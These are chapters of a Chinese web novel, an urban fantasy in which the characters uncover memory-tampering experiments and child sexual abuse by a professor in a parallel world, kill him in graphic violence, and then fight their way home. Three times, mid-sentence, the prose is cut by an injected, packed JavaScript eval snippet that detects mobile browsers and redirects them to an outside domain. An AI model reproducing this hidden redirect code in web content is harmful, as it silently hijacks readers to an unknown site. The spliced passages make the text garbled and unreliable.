两人看向邬子曰,迟予知道:“你不是研究记忆的吗,这怎么回事?” “这不是显而易见吗?两个人的记忆纠缠在一起怎么可能会没有影响?即使我专门研究记忆,相当于受过训练,有时候也还是会把自己当成冯小宇。” 他顿了顿,又道:“但是他的反应好像有点过于激烈了。” 庄辰岚突然感觉事情有点不太对,她也蹲下来,对冯小宇道:“你在他的记忆里看到了什么?” 冯小宇抬起头来,眼泪和鼻涕糊了一脸:“太恶心了。” “哈?说别人的记忆恶心真的好吗?!” “你这人到底怎么回事啊?!” 冯小宇突然的爆发让三人都愣了一下。 “他对你做过那样的事,为什么你还能原谅他,还能那么尊敬他,在他手下帮他做事。” 邬子曰愣住了:“你在说什么啊?他是谁?” 冯小宇喊道:“还能是谁?!皆公放啊!” 邬子曰一脸疑惑:“这有什么不好理解的,皆教授把我从方壶带到瀛洲,让我住进他建的孤儿院,教给我知识,让我不用像方壶的人一样被当做牲畜对待,我这样做当然是为了感激他了!” 冯小宇愣了足足好几秒:“你是这样认为的吗?” 邬子曰也生气了:“不然还能怎样?” 庄辰岚发觉两人的记忆似乎对不上号。 冯小宇低笑道:“哈哈哈,原来你比我想象中更可怜。” 邬子曰喊道:“可怜什么,你说话能不能别只说一半!把话说完!” “你的专业是记忆覆盖吧,覆盖别人的记忆,然后高高在上地观察别人的反应,对外称为实验,其实自以为有神的权力而沾沾自喜,但你们哪是什么神啊,也只不过是一群小白鼠而已,因为你们的记忆也早就被那些混蛋改变了!” 不等邬子曰质问,冯小宇接着道:“你以为那个姓皆的把你从方壶捞出来是为什么啊?还不是因为想满足他那些变态的癖好和研究!你,还有你那些方壶的同学!你们都是这样!” 邬子曰瞪大眼睛,嘴巴像鱼一般张开又合上,不可置信。 冯小宇崩溃地揪住自己额前的头发:“那明明不是我的记忆,你明明不是我,可是我为什么还是会控制不住地恶心…” 邬子曰好像终于重新拿回说话能力,他喊道:“你撒谎!骗人!” “这就受不了了?”冯小宇嘲讽道:“你根本不知道我替你承受了多少!你原本在方壶街头流浪,被皆公放捡回蓬莱学院,他和他的狐朋狗友就喜欢方壶那群肢体残缺的异种小孩,全都囚禁在不见天日的房子里做童妓,等到年龄大了,不喜欢了,就拿来给他们研究的记忆覆盖设备做实验,甚至直接说是二次加工,废物利用!” 邬子曰胸口剧烈起伏,他道:“证据呢?” “就等你说这话了,”冯小宇从口袋里掏出一个类似磁盘的东西:“证据就是这个,那群贱人在跟小孩子一起的时候还拍了录像,一旦记忆覆盖失败就拿出这个来威胁!” “这么重要的东西,你怎么说拿就拿到了!?假的!肯定是假的!” “因为他根本没有藏着掖着!录像就放在他办公室里,无论记忆覆盖成不成功,他都没有藏着的必要!” 把录像摆在办公室里,他们这群研究生进进出出都能看到,却根本不知道这就是自己曾经屈辱的过去,邬子曰还记得他曾经当着皆公放的面夸赞这几个磁盘很漂亮——他觉得自己要吐了。 迟予知道:“真是雷子大了什么鸟都有。” 冯小宇流出眼泪:“刚才逃跑的时候我为了把这个拿出来还差点儿被发现了,现在想想我真是有病,我为什么要帮你把这个拿出来,我为什么要帮你,我又不是你……” 他曾像这样无数次告诉自己不是邬子曰,那些记忆跟自己没有关系,但他的心底还是无法抑制地涌出强烈的屈辱与愤怒,还是不受控制地去找皆公放对峙,在与他对峙时,他用的自称甚至是“我”,就连逃跑的时候,他也遏制不住自己要把录像拿出来销毁的想法。 反观邬子曰,即使被告知自己曾被侮辱,被欺骗,他也还是没有对面那般如此强烈的痛苦与愤怒,那个记忆中慈祥温柔的皆公放是如此真实,他完全没办法把他与变态恋童癖联系起来。 他看着冯小宇,对面在说出这些事后控制不住的浑身发抖,反应比自己这个真正的受害者还要大,只是因为继承了那段记忆。 他不合时宜的想起自己的研究论文里的话:“生物的本质是记忆。” 邬子曰向前跑去:“我要找他问个清楚。” 迟予知一把拉过他:“你乱跑什么!” 冯小宇道:“我早就找过他了,你以为我是为什么被关起来当实验品的。” 他又突然拽住邬子曰:“刚刚你说能换回来吧!” 邬子曰停下脚步:“如果换回来,我是不是也能看到那段记忆了?” 他感觉双腿有点发软:“不,我不想记起来。” 庄辰岚道:“你早晚要面对现实。” 邬子曰喊道:“你真是站着说话不腰疼,如果你的记忆也被篡改了,如果你落到我的处境,你还能表现的这么理智吗?还能讲什么面对现实吗?” 完了,这人开始撒泼打滚了。 迟予知道:“她说得对,你这样拖着也不是办法。” 邬子曰终于忍不住了,他蹲到地上,将脸埋在双臂中,小声地呜咽:“我不知道该怎么办了…” 冯小宇急道:“什么不知道该怎么办,你现在最该办的就是把身体还给我!” 邬子曰道:“换元伞在实验室,你我现在都进不去,根本换不了。” “而且换回来之后就再也没法见皆公放了,”邬子曰的脸埋在手臂中,声音闷闷的:“我想让他付出代价。” “那就杀了他?” 邬子曰猛地抬头,庄辰岚正蹲在他旁边:“反正这里杀人不用偿命,你不想报仇吗?把他杀了不就好了。” 迟予知道:“你这人…” 邬子曰道:“哪有那么简单,他是雷民,我根本惹不起,会被整死的。” “我帮你杀,反正我也不是你们这儿的人,”庄辰岚道,“你只需要去拿回换元伞就好。” 邬子曰沉默了。 冯小宇仿佛等不及了,他大喊道:“你这是自作自受!别废话,赶快给我答应,不然我就先杀了你!” 迟予知道:“这家伙拿着磁带跑出来早晚会被发现,你不杀他他只会杀你,先下手为强懂不懂?” 邬子曰道:“我不是不答应,只是,我想亲手杀他。” 迟予知道:“事态紧急你还在这挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135599|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三拣四。” “这简单。”庄辰岚道,“你这不是换了张脸吗。” 她问:“冯小宇,有人知道你逃出来了吗?” “应该没有。” “很好,那你现在再回去。” “啊?”冯小宇道:“你脑子被门夹了吧?!” “少废话,我有计划,你们全听我的。” —— 第二天一早,瀛洲记忆研究中心。 庄辰岚和迟予知穿着昨晚他们偷来的学生制服大摇大摆地走在研究所实验室的走廊上,邬子曰则扛着一个摄像机跟在他们身后。 与庄辰岚所熟悉的简约白色实验室不同,这里的装修十分华丽,不像实验室,倒像舞厅,看上去就十分高级的精密仪器一个接着一个,像她看过的科幻电影里的设备。 迟予知看向庄辰岚道:“这样能行吗?” “你是说装成学生吗,放心,你没自己想象中那么老。” 迟予知翻了个白眼:“我不是说这个!” 这时,一个穿着白色对襟长衫,整个胸部都被机器覆盖的人拦住他们:“你们是学生吗,来这儿干什么?” 庄辰岚脸不红心不跳的开始编瞎话:“你好,我们是瀛洲学院科学部门的学生,预约今早跟皆教授做采访。” 来人顶着疲惫的黑眼圈,跟迟予知比有过之而无不及,她往上推了一下眼镜:“教授还没到,你们先坐在那边等等吧。” 三人坐在研究所人员安排的凳子上,这里不时有人进进出出,他们全都穿着白色的对襟长衫,这似乎是他们的实验服。 大约一个小时后,皆公放终于到了。 他长着鸟的头颅,人的身体,身高接近两米,如果整个张开背后的翅膀,将有一个大走廊那么宽。 两人还都是第一次近距离见到活的雷民——这个世界的一等公民。 庄辰岚拍拍左右两人,随后起身小跑过去,拦住皆公放,把刚才的台词又说了一遍。 皆公放露出质疑的目光,表情跟庄辰岚看过的迪○尼动画片里的福瑞一模一样。 “有预约?我怎么不知道?” “啊,您贵人多忘事。” 她拉过迟予知:“这位同学非常仰慕您,为了今天的采访才进了科学部——不是什么正式采访,只是随便聊聊,给我们五分钟就可以。” 皆公放思考片刻:“去我办公室吧。” 背后,迟予知对庄辰岚龇牙道:“你他妈…” 庄辰岚没理他,招呼扛着摄像机的邬子曰跟过来。 皆公放边走边道:“我竟然不知道学院里还有二位这么漂亮优秀的记者,真可惜没能早点遇见你们,你们小时候肯定也非常可爱吧——开个玩笑,哈哈哈。” 庄辰岚拦住抬脚想要踹他屁股的迟予知,回头看了邬子曰一眼,后者显然也听到了这句话,他咬着后牙,紧紧攥着摄像机的三脚架。 三人前后进入办公室,迟予知走在最后反手把门锁上,然后吹了声口哨,两只青面獠牙的小鬼就把皆公放按在了椅子上。 皆公放大吃一惊,刚才还满面春风的脸此刻便被恐惧笼罩,他刚要尖叫,庄辰岚便抽出桌子上摆放的一把匕首,迅速抵住了他的脖子。 皆公放圆睁着巨大的眼睛,浑身的羽毛都在颤抖:“你们是谁?到底想干什么?!” 30.悟城二中6 在皆公放惊慌的目光中,邬子曰扔下扛了一路的摄像机。 皆公放道:“你是谁?我认识你吗?我们有仇吗?” 邬子曰没有说话,他的脑中浮现出对皆公放在方壶雷雨的夜里捡回自己的画面,他拿出玩具逗幼年的自己开心的画面,那样真实的记忆,那样真实的情感,居然全是假的,而且不仅是假的,真相甚至完全相反,是欺骗的,屈辱的。 眼前的雷民骗了他整整二十年,而他则把仇人当恩人,想到这里,邬子曰真想一刀插进他的喉咙,然而不知为何,他居然落下了眼泪。 他想要让自己的声音听起来凶狠一点:“皆公放,你对方壶的孩子做过什么,别以为可以瞒一辈子!” 皆公放肉眼可见的惊慌起来,身上的羽毛扑簌簌抖动:“你究竟是谁?你怎么知道的?” 邬子曰咆哮道:“你管我是谁!” 皆公放道:“你是不是邬子曰,是不是!” 邬子曰愣了一下,似是没想到他会认出自己。 迟予知倚着门道:“我说你这种人居然还有脸活着。” 皆公放被激的眼球凸起:“我为什么没脸活着?我给了方壶这群贱民更好的生活,让他们接触到原本一辈子都不可能接触的世界,而他们仅仅只付出了身体的代价,这个交易还不够仁慈吗?相比于别人,我做的还不够好吗?在这个世界,我已经算是最大的好人了!” 邬子曰道:“没人求你带我们离开,你□□别人,还好意思说是交易,简直是强词夺理,恶心至极,你已经坏透了!” “坏透了?哈哈哈哈哈哈...” 皆公放突然疯狂的大笑起来: “你未免太蠢了,我明明可以什么也不做,却还是让你们进入研究所,我明明可以上完你们就直接宰了,可还是给了你们一条生路!反正你们这些贱民是死是活也不会有任何人在意!这个世界不就是这样吗!你怎么反而恩将仇报起来了!” 邬子曰怒火中烧:“杀了你!我要杀了你!” 此时,办公室的门突然被敲响:“教授,你还好吗,我好像听到了很大的声音。” 皆公放像是突然抓住了救命稻草,他扯着嗓子喊道:“快叫人!有歹徒…” 他话还没喊完,就被庄辰岚一刀割下了舌头。 “再叫一声,下次掉的就不是舌头了。” 皆公放浑身抽搐,下意识想用手捂住嘴巴,但他两只胳膊却被青面鬼死死按住,只能发出尖戾的叫声,倒真的有点像鸟叫。他的双腿乱蹬,砸在桌子上发出蹦蹦的响声。 门外的人好像意识到了什么,噔噔噔地跑开了。 迟予知打了个响指,一只红衣鬼便穿墙冲去了门外。 庄辰岚对邬子曰道:“想杀他就赶紧动手!” 她将手中的匕首扔给邬子曰,却依旧掐着皆公放的脖子,确保有意外发生时能一击毙命。 匕首砸在邬子曰胸膛上,他没接住,刀子落到地下,发出叮铃的响声。 邬子曰赶紧蹲下,颤抖的手捡了几下没捡起来,好不容易才拿起匕首,将它举到面前,尖刃对着前面这个“尊贵”的雷民。 门外传来乒哩乓啷的仪器打翻的声音,哐哐拍门的声音以及恐惧的尖叫声。 庄辰岚道:“动手啊!” 皆公放惊恐的摇着头,嘴里发出呜呜的声音,大意是:“我错了,不要杀我,我会给你补偿。” 迟予知看着门外:“保安快要来了。” 庄辰岚道:“你先去外面把那些实验品放了,一个人能做到吧?” 迟予知切了一声:“小菜一碟。” 邬子曰拿着匕首一步步逼近,庄辰岚能感受到她抓着的皮肤越来越烫,皆公放的双脚使劲往后瞪着,最后竟是痉挛到失禁了。 邬子曰大喊一声,举起匕首刺入雷民的胸膛,不知是因为紧张还是力气太小,匕首只插进了一个尖端,连致命伤都算不上。 皆公放疼的连尖叫的力气都没了,他翻着白眼,嘴里吐出血沫。 迟予知冲进来:“速战速决,人越来越多了!” 听闻,庄辰岚抽出匕首,干脆利落的抹了皆公放的脖子,然后砸碎办公室的玻璃,带着邬子曰跳了出去。 学院里响起了刺耳的警报声,迟予知跟了上来:“实验室那群人都逃出去了。” 邬子曰相貌的冯小宇昨天逃出来又回去后,在今天跟那群实验者一起趁乱跑出去,自始至终都有不在场证明,一切都按庄辰岚的计划顺利进行。 三人脱下外面的校服,带上帽子,十分顺利地混在人群中跑了出去。 庄辰岚不禁腹诽,无论在哪个世界,学校的防恐都是一样的差。 三人来到安全地区,被冷风一吹,邬子曰稍微冷静了一下。 他看着自己颤抖的双手:“我刚刚杀人了……” 庄辰岚道:“你没杀,是我杀的。” “对不起,我太弱了,没帮到什么忙…” “帮大忙了,你没插好估计他死前特别痛苦。” “好,好的…” 接下来只需要去跟冯小宇约定的地点碰面就可以了。 瀛洲与方壶两个岛之间有一个吊桥,但大多数时候这上面空无一人,三人便从这里前往方壶。 方壶岛没有什么高层建筑,只有一栋又一栋低矮的灰土色房子互相紧帖着,但往里一看又无人居住,十分荒凉,跟瀛洲比简直是天壤之别,更别说跟蓬莱了。 这里的人基本都是残疾,少一只胳膊一只腿都算好,更有甚者面容扭曲,光是看一眼都让人心里发毛。 三人越往里走,周围的环境就越黑,庄辰岚道:“这里连个路灯都没有吗?” “现在有一些了,不像我小时候,那时候才是伸手不见五指呢。” “刚才我就想问,你们这个世界是不是没有白天?” “对,因为没有太阳。” 迟予知吃惊道:“那这里的人岂不是每天都活在夜里?还没有灯,这咋过下去的?” 邬子曰没有回答这个问题,他道:“虽然这个世界没有自然阳光,但是有人造太阳,只是人造太阳光也只能照亮蓬莱,就连瀛洲都照不到,所以那里每天都亮着各种灯。” 庄辰岚道:“人造太阳是雷民的发明吗?” “没错,但是自古以来,它却是由方壶人来维持的,方壶人谋生的唯一工作,便是在这里维护人造太阳,确保它能一直悬在蓬莱的上空。” “什么?”迟予知道,“明明是你们在维护那什么太阳,怎么反倒你们一点儿也照不到光?” “雷民说我们是他们的祖先创造出来的工具,存在的意义就是为他们工作,所以这些都是应该的。” “你听他们放屁,历史都是赢家书写的——蓬莱那群雷民,他们都这么压榨你们了,你们就不能跟他们打一场?” 庄辰岚道:“你让他们拿什么打啊,用木棍铁锨去对抗能造出太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141902|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的科技吗?这不是反抗,是找死。” 邬子曰道:“都怪那群雷民,但凡他们能有点人性,方壶也不至于变成现在这样。” 迟予知道:“能变成现在这样,你们方壶肯定自古以来就是顺民,奴性已经刻到骨子里了,就算曾经有反抗的机会,估计也没抓住,这么听话好用的人肉工具,任谁能忍住不压榨啊。” 邬子曰气道:“你这什么意思?凭什么替他们说话?” 因为他就是人类世界的雷民啊。庄辰岚心道。 “先别说这些了,”庄辰岚道,“冯小宇已经等好久了。” 邬子曰带着二人来到一个破败的平房,这是他小时候住过的地方,好久没人居住,整个屋子仿佛是由灰尘所建。 冯小宇站在门后,他有邬子曰的记忆,所以毫不费力的就找到这里。 庄辰岚道:“多余的话先别说了,把身体换回来要紧。” 冯小宇掏出混乱时在实验室偷拿出的换元伞,与其说是伞,其实它更像一个由各种元件组成的伞状机械,只要二人同时站在下面,便会灵魂互换,介时邬子曰则会想起那些被遗忘的记忆。 冯小宇已经把伞打开了,他站在伞下,静静的看着邬子曰。 邬子曰低着头,深吸一口气,然后走向伞下。 换元伞发出夺目的浅蓝色光芒,庄辰岚和迟予知都站到了远处,避免被波及。 等到蓝光消散,冯小宇拍了拍自己的脸:“换,换回来了。” 他瞬间泪流满面:“呜呜呜,我终于回来了!妈妈!” 邬子曰似乎想起了曾经的记忆,他表情扭曲,一副想吐的样子,但依旧强忍着说了一句:“谢谢你们。” 迟予知道:“先不说你们这儿杀人不偿命了,就算真要偿命也怀疑不到你头上,如果你不想呆在那了,还可以…” 邬子曰打断他:“我会继续在学院搞研究的,但是不会再进行人体实验了。” 庄辰岚道:“你的那些方壶同学也跟你一样的遭遇吧,你不打算告诉他们?” “为什么只有自己想起来了,为什么只有自己感到痛苦,一开始确实会觉得不公平,第一个知道真相,从虚假的梦中醒来的的我,不知道是幸运还是不幸,其实我现在也不知道怎么办,但日子总要过的,不是吗?” 真是的,为什么这人总是说一些让庄辰岚想起林听的话来。 她只能再一次遏制住那些记忆。 “是这样。”庄辰岚道,“那就再见了。” 二人带着冯小宇回到了三清地铁口,庄辰岚道:“侵入体物归原位后,狭间就会消失吧。” “对啊。” “那我们怎么回去?” “入口会在侵入体物归原位后约一个时辰内消失,所以我们要,”他拉着两人往前跑,“争分夺秒啊!” 迟予知的白色长发被风吹起,他边跑边吹了声口哨,功曹便倏的出现,将他放在自己手腕上。 庄辰岚道:“这两步你都不肯自己走吗?” “我走个屁,本王以前出门都是坐轿子的,没让你俩给我抬轿子都是王恩浩荡了。” 冯小宇道:“凭什么让我们给你抬轿子?你这样跟雷民有什么区别。” “没区别,”庄辰岚道,“他以前就是我们世界的雷民。” 狭间入口就在前方,迟予知正在解开封印,就在这时,庄辰岚看到一道刺眼的光波向他背后射去。 “迟予知!” 31.悟城二中7 迟予知第六感感到背后的异样,他猛地转头,只见功曹挡在他面前,生生接下那道光波,瞬间四分五裂。 随后,更多的强光如雨点般袭来,迟予知不得不放弃解开封印,从入口处逃开。 半空中悬停着几架玄鸟青铜无人机,上面亮着红色的警报: “已发现恐怖分子,确定击毙。” 庄辰岚召出裂骨,对大惊失色的冯小宇道:“跟紧我。” 话虽如此,她心里也十分紧张,这还是她第一次被当做恐怖分子,甚至被下令要当场击毙,看来还是自己太小看这个世界了。 迟予知跳到一个亭子顶上,右手成印——那是佛陀的施依印,然而他脸上却毫无佛陀的悲悯,反而是如修罗恶鬼般的兴奋与疯狂。 一印结下,无人机下的土地倏的伸出数只黑色的佛手臂,将那几只盘旋的机器尽数捏碎。 趁此机会,庄辰岚带着冯小宇迅速向狭间入口移动,可半路却被一群古代士兵样子的机器人阻拦。 庄辰岚挥动裂骨,一边砍杀机器人,一边保护冯小宇。 可这些机器人远比想象中要多,他们连绵不绝,密密麻麻,披着铠甲,全身坚硬无比,庄辰岚不禁感到有些力不从心。 “救命啊!” 冯小宇不知什么时候跑到一旁,眼看就要被一个机器人士兵砍下脑袋。 庄辰岚赶紧踢开面前的士兵,扔出裂骨,打下了那个士兵手中的武器。 她道:“不是让你跟紧我吗!” 就在她前去冯小宇那边的路上,背后突然一痛,一个士兵不知从哪里冒出来,拿剑狠狠砍在她的后背,庄辰岚转身一斧砍下他的脑袋,连忙闪避。 后背的血汩汩往外流,庄辰岚感觉自己好像正站在淋浴下一样,她耐痛指数很高,但此时却疼的太阳穴突突直跳。 冯小宇又在那边喊救命了,他笨拙的躲避着,凄惨的叫庄辰岚去救他。 迟予知那边又飞来更多无人机,显然他也顾不上这边了。 面对仍旧源源不断的敌人,一个想法不可遏制地浮现在她脑中——我不会要死在这里了吧? 不行!我不能死! 她盯着狭间入口,撑着裂骨站起来。 即使放弃这两个人,自己也一定要出去!因为那个理由,因为那个人! 她无视冯小宇的求救,自己一人拖着沉重的身体朝狭间入口移动。 冯小宇看她这样,连忙哭喊道:“喂,你别抛下我!” “我都伤成这样了,你不来关心我,还让我不要抛下你?”庄辰岚强忍剧痛,清除路线上的士兵,“大难临头各自飞,你好自为之吧。” 迟予知那边刚刚得空,他往下一看,只见庄辰岚和冯小宇已经分开了。 “喂,你们那边怎么回事?” 看到马上要被机械士兵包围的冯小宇,他暗道不好,直接跳了下去。 迟予知带来的恶鬼瞬间破掉了机械士兵的包围,刚刚虎口逃生的冯小宇立马像抓住救命稻草般抱着他的腰不撒手,吓得涕泪横流:“你救救我啊!那个女的抛下我不管了!” 迟予知又往庄辰岚那边一看,却看到了一路的血迹:“你受伤了?” 庄辰岚看到远处又来了马蜂群一般的无人机,于是冲迟予知喊道:“先别管这些了,赶紧进狭间,就算一只胳膊一条腿不要了也得回去!” 迟予知也听到了马达在空气中振动轰鸣的声音,他又召出两只速度快且灵活的厉鬼,它们各自夹起冯小宇和庄辰岚,往狭间入口处冲去,路上,激光与子弹如雨般袭来,厉鬼不负期望,一一躲过。 迟予知站在原地,庄辰岚在空中从上往下看,机械士兵如海水般袭来,眼看就要将他吞没。 迟予知捏出说法印,如诵经般缓缓道:“佛法万千,莲生万物。” 霎时间,一朵巨大的黑色莲花带着地狱的业火以迟予知为中心在地面盛开,然后向内合拢,方圆百米内,无论是地上的机械士兵,还是空中的青铜无人机,瞬间尽数毁灭。 有此机会,庄辰岚和冯小宇移动的速度更快了,迟予知也迅速追上两人。 “你的伤怎样了?” “没事,先回去再说。” 召出的厉鬼在迟予知的指示下加速冲向入口,可就在距离狭间一步之遥时,入口关闭了。 几人扑了个空,纷纷滚在地上。 庄辰岚不可置信抬起头,待发现那入口是真的不见后,气的一拳砸在地上。 这操蛋的世界! 急火攻心加上失血过多,庄辰岚一时眼前发黑,趴在了地上。 她突然理解为什么天问的工资有一部分是纸钱了——这工作简直就是在死亡边缘横跳! 迟予知跑到她身边:“喂,没事吧你?” “能出去我就没事,你还有别的办法出去吗?” “我还是第一次遇到这种情况,以前一个时辰的时间绰绰有余。” 庄辰岚一拳拳砸在地上:“真是倒霉死了!” 迟予知道:“你别着急啊,着急有用的话我早就急了。” “我跟你不一样!”庄辰岚突然喊道,“你都活了一百多年早就活够了!我还没活够!还有必须要做的事!我不能死!” 冯小宇哭道:“呜呜呜,我也不想死。” 迟予知有些吃惊于庄辰岚这么大的反应,他道:“谁告你我活够了?” 庄辰岚看着手中的裂骨,突然灵光一闪——裂骨可不可以再次打开大门呢? 虽然现在狭间的气息已经消失了,但都这个时候了,死马也当活马医吧! 庄辰岚举起裂骨,与来时信心满满能打开狭间的感觉不同,此时她心里七上八下,满脑子都是那个人的身影,她在心里祈祷:“让我回去吧!让我回去吧!我必须回去!我必须活着!” “快点!”迟予知看着远处的天边,“又来了!” 听闻,庄辰岚狠狠向空气一劈,裂骨发出红色的光,那如水银般的入口再次出现了,只不过显现的速度非常缓慢。 接二连三的光束此刻卷土重来,迟予知向右上一挥,一个透明的黑色莲瓣便凭空而现,如高墙一般抵挡住了光束的攻击。 入口此时已经差不多有半个人高,几人便直接硬钻了进去。 随后,三人狼狈的掉回四楼走廊,狭间入口便也消失了。 庄辰岚看着熟悉的天空,长长舒了一口气,此时她已经一点力气都没有了,像尊大佛似的趴在地上一动也不动。 迟予知站起来,用脚尖轻轻踢了踢她的胳膊: “还活着吗?” “打120。” 庄辰岚闭上眼睛,心脏仍旧扑通扑通地跳个不停,刚才她是真的以为自己要死了。 迟予知拿出一粒药丸:“你先吃这个,止血的。” “递我嘴边儿,动不了了。” “老佛爷吗你?”迟予知说着,还是把药丸递到她嘴边,庄辰岚张嘴吞下,避无可避地碰到迟予知的手指,那手指冰的吓人。 迟予知道:“我看您也甭去医院了,一会儿我带你回天问,姚枝医术挺好,这点儿伤都不算事儿。” 庄辰岚吃了药,感觉确实好了不少,身体涌上些许力气,她便坐了起来。 迟予知道:“这才是消除狭间的正常流程啊,你上次那是个什么东西,莫名其妙就消失了。” 庄辰岚道:“或许那个就不是狭间。” “不可能,绝对是,感觉都一模一样,而且就算是我错了,灵网也不会错。” “你们没想拓宽一下狭间的定义?” “嗯,可以考虑。” 迟予知道:“不过这次的狭间,还是有些奇怪。” “哪里奇怪?” “里面的人奇怪——瀛洲和方壶的生物,长的跟人类过于相似了。” “狭间里的生物不能跟人相似吗?” “当然不能,那个古月虫不是说了吗,太相似的世界是不会重复出现的。” “哦?局长关于那个钥匙的解释你听懂了?” “少打岔,我跟你说正事儿呢。” 迟予知陷入沉思:“如果里面全是雷民那样的生物,这才是正常的。” “会不会在很久以前跟我们的世界有联系?他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146265|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的岛名我们不也很熟悉吗?” “那可是异界,永远不会也不应该跟本世界有接触,怎么可能有联系?” “因为狭间啊,我们的人不小心掉进去了什么的。” “你傻吗,”迟予知道,“狭间一旦产生就不会消失,所以才要人力消除,要是几百年前就有了去往那里的狭间,灵网用得着等到今天才给我们发消息吗。” “哦,那倒是。” 结合迟予知的话,庄辰岚总结道:“所以根据局长的观测,异界是永远不可能与本世界接触的,一旦接触就会产生狭间,需要我们去消除,而与本世界有相同的生物、相似度极高的世界,属于平行世界,物质上是不可能存在的,对吗?” 迟予知打了个响指:“100分。”他又烦躁的抓了抓头发:“想不明白,最近奇怪的事怎么越来越多了。” 冯小宇好像小学生听高数课一样一脸茫然:“你们在说什么啊?” “没什么,”庄辰岚对冯小宇道:“你同桌在外面等你。” 冯小宇刚才被吓出的的眼泪还没干:“我同桌?闫儿吗?” 他赶紧擦掉眼泪,不等庄辰岚回答就跑了出去。 迟予知站起来伸了个懒腰:“我们也出去吧,还有后续收尾工作呢。” “我要辞职。” “啥?” 庄辰岚一字一顿道:“我说,我要辞职。” “你不是才刚来吗!” “你们的工作,我无福消受。” 这工作太危险了,不知道什么时候就会丢了性命,她现在可不能死。 她向迟予知抬了抬胳膊,示意他来搀扶自己。 迟予知不可置信:“喂,你知道我是谁吗?真老佛爷我都不扶。” 庄辰岚跟他魔法对轰:“老佛爷算什么,你知道我是谁吗,我是南华仙人后代,算半个神仙,逼格比你高得多,你能扶我才是三生有幸。” “你——现在社会人人平等你知不知道!” 庄辰岚算是发现了,迟予知这人就是自我以下阶级分明,自我以上人人平等。 “人人平等,所以过来扶我一把,我又不碰瓷你。” 迟予知不满的架起她的胳膊,庄辰岚挨到他皮肤的手臂顿时感到一阵凉意。 “下次贴个暖宝宝再出门。” “能不能别这么事儿。” 二人走出教学楼,除了冯小宇、闫儿和小菊,庄辰岚还看到了一个意想不到的人。 “程天玑?你怎么在这?” 程天玑看到庄辰岚也是一惊,像只热情的小狗般跑过来:“辰岚姐,你怎么也在?” “啊!”他突然大叫一声,“你身上怎么这么多血?!” 闫儿也害怕道:“这看着好严重的样子,需不需要给你打120?” “没事,不用打。” 程天玑道:“你管这叫没事?!我看着都腿软啊!不行不行,我要晕血了。” 迟予知道:“你谁啊?怎么进来的?” 闫儿道:“他是旧土论坛的小蚂蚁11,其实本来应该是我跟他和小菊三个一起来的,但他半路堵车了。” 程天玑突然道:“辰岚姐,你在这儿是不是意味着以哥也在?!” 庄辰岚道:“怎么可能,我跟他又不是连体婴。” 闫儿道:“那我们就先走吧。” 迟予知幸灾乐祸道:“没人的地方才能用缩地千里,在这之前你就忍着吧。” 这时,冯小宇悄悄拉了一下庄辰岚的衣角:“那个男的,我在瀛洲见过他。” 庄辰岚一愣:“程天玑?” “没错,就是他,我看见他跟一群雷民走在一起。”想了想,他又补充了一句,“只不过现在他好像把眼镜摘了。” “眼镜?”庄辰岚连忙追问,“什么样的眼镜?” “就是方形细丝的那种眼镜。” “!” 带着细丝眼镜的程天玑,庄辰岚想,冯小宇看到的,该不会是庄辰星吧。 这个想法一出,她顿时感到浑身发冷,伴随一阵气血上涌,她眼前一黑,失去了意识。 32.林听1 “岚,你在大学最近怎么样?” “无聊的要死。” “不要打破我对大学的幻想啊,”庄辰星笑道,“我可是觉得未来在东山医学院的生活会很有趣。” “你已经想好要考东山医学院了吗?” “没错,跟你在一个城市,我们可以经常见面。” “建议你不要因为这种因素选大学,能去更好的地方当然要选更好的。” “但是你在哪里对我来说是很重要的因素啊。” “你不要后悔就好。” “岚,你又这样说话,我从来没有后悔过什么,对了,以最近有跟你联系吗?我看他在群里也不怎么说话。” “没有,他工作应该很忙吧。” “小岚,你在跟谁打电话啊?” 林听抱着一个满满的纸箱,从房间门口探出脑袋。 “啊,”庄辰岚抬起头,“我堂弟。” “那你先聊,我先自己收拾一下。” “没事,我现在就去帮你。”说完,庄辰岚又对电话那边道,“我要帮朋友搬家,先挂了。” “嗯,拜拜。” 林听房间的地板上已经堆满了各种杂物,她从中踢出一条过道:“一搬家才发现零碎的东西这么多。” 庄辰岚道:“你们三个怎么突然一起搬家了?在校外找个合适的房子多不容易——你们找的新房子在哪?” “还没找到呢。” “还没找到下家就开搬,这么急?”庄辰岚在房间里挑干净的地方下脚,像跳芭蕾舞似的,“不会是这房子不干净吧?” “干净得很,我可什么都没见过,而且如果真是房子不干净,那请的就是道士而不是你了。” 庄辰岚笑道:“你请我算是请对了,做法和搬家我都能干。” 她来到房间飘窗处,这里架着林听的画板和一大堆颜料,画布上是一株的盛开的白梅,单纯的白色却呈现出五光十色之感。 